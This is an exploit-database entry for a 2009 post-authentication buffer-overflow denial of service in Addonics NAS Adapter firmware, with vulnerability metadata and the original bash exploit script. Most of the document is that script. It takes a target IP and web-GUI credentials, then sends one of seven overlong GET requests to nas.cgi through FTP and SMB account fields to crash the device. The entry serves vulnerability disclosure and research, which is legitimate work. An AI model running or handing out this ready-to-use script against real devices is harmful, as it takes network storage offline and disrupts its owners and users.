Addonics NAS Adapter Post-Auth DoS

vendor:

NAS Adapter

by:

Mike Cyr (h00die)

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: NAS Adapter

Affected Version From: R3282-1.33c LOADER32 1.15

Affected Version To: NASU2FW41 Loader 1.17

Patch Exists: YES

Related CWE: N/A

CPE: h:addonics:nas_adapter

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Addonics NAS Adapter Post-Auth DoS

Addonics NAS Adapter Post-Auth DoS is a buffer overflow vulnerability in Addonics NAS Adapter which allows an attacker to crash the entire stack from the web GUI by sending a malicious GET request. This vulnerability affects R3282-1.33c LOADER32 1.15 and NASU2FW41 Loader 1.17 firmware.

Mitigation:

Vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

#!/bin/bash
######################################################
# Addonics NAS Adapter Post-Auth DoS
# Tested against R3282-1.33c LOADER32 1.15, and NASU2FW41 Loader 1.17
# Coded by Mike Cyr, aka h00die
# mcyr2     at           csc         dot_____________com
# Notes: Any of these BoF crashes the entire stack from the web GUI
#        so throw a GET, and bye bye baby!
# Greetz to muts and loganWHD, I tried harder
# http://www.offensive-security.com/offsec101.php turning script kiddies into ninjas daily
# Log: Vendor notification feb 9, 2009 for BoF in R3282-1.33c LOADER32 1.15 firmware
#      March 8, 2009: Second vendor notification for BoF in NASU2FW41 Loader 1.17 firmware
#      March 9, 2009: Code release on Milw0rm, Bid sent.
######################################################

echo "Addonics NAS Adapter Post-Auth DoS"
echo "Written by H00die"

echo "------------------------"
echo "Addonics IP:"
read -e IP
echo "Addonics GUI Username:"
read -e USERNAME
echo "Addonics GUI Password:"
read -e PASSWORD

echo "-----------------------"
echo "Select Buffer:"
echo "1. FTP: Username (R3282-1.33c LOADER32 1.15)"
echo "2. FTP: Password (R3282-1.33c LOADER32 1.15)"
echo "3. SMB: Username (R3282-1.33c LOADER32 1.15)"
echo "4. SMB: Password (R3282-1.33c LOADER32 1.15, NASU2FW41 Loader 1.17)"
echo "5. FTP: Username (NASU2FW41 Loader 1.17)"
echo "6. FTP: Password (NASU2FW41 Loader 1.17)"
echo "7. SMB: Username (NASU2FW41 Loader 1.17)"

read -e BOF

echo ""
echo "-----------------------"
echo "Sending Malicious GET request"
case "$BOF" in
'1')
wget -q --timeout=3 -t 1 --http-user=$USERNAME --http-password=$PASSWORD "http://$IP/nas.cgi?redirect=ftp.htm&failure=fail.htm&type=ftps_user_add&Account=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&Account_passwd=a&ftp_att=W;"
;;
'2')
wget -q --timeout=3 -t 1 --http-user=$USERNAME --http-password=$PASSWORD "http://$IP/nas.cgi?redirect=ftp.htm&failure=fail.htm&type=ftps_user_add&Account=a&Account_passwd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&ftp_att=W;"
;;
'3')
wget -q --timeout=3 -t 1 --http-user=$USERNAME --http-password=$PASSWORD "http://$IP/nas.cgi?redirect=smb.htm&failure=fail.htm&type=smb_acct&action=smb_new&acct=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&data1=test&data2=0;"
;;
'4')
wget -q --timeout=3 -t 1 --http-user=$USERNAME --http-password=$PASSWORD "http://$IP/nas.cgi?redirect=smb.htm&failure=fail.htm&type=smb_acct&action=smb_new&acct=a&data1=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&data2=0;"
;;
'5')
wget -q --timeout=3 -t 1 --http-user=$USERNAME --http-password=$PASSWORD "http://$IP/nas.cgi?redirect=ftp.htm&failure=fail.htm&type=ftps_user_add&Account=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&Account_passwd=a&ftp_att=W;"
;;
'6')
wget -q --timeout=3 -t 1 --http-user=$USERNAME --http-password=$PASSWORD "http://$IP/nas.cgi?redirect=ftp.htm&failure=fail.htm&type=ftps_user_add&Account=a&Account_passwd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&ftp_att=W;"
;;
'7')
wget -q --timeout=3 -t 1 --http-user=$USERNAME --http-password=$PASSWORD "http://$IP/nas.cgi?redirect=smb.htm&failure=fail.htm&type=smb_acct&action=smb_new&acct=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&data1=test&data2=0;"
;;
esac

echo "Stack Smashed..."

# milw0rm.com [2009-03-09]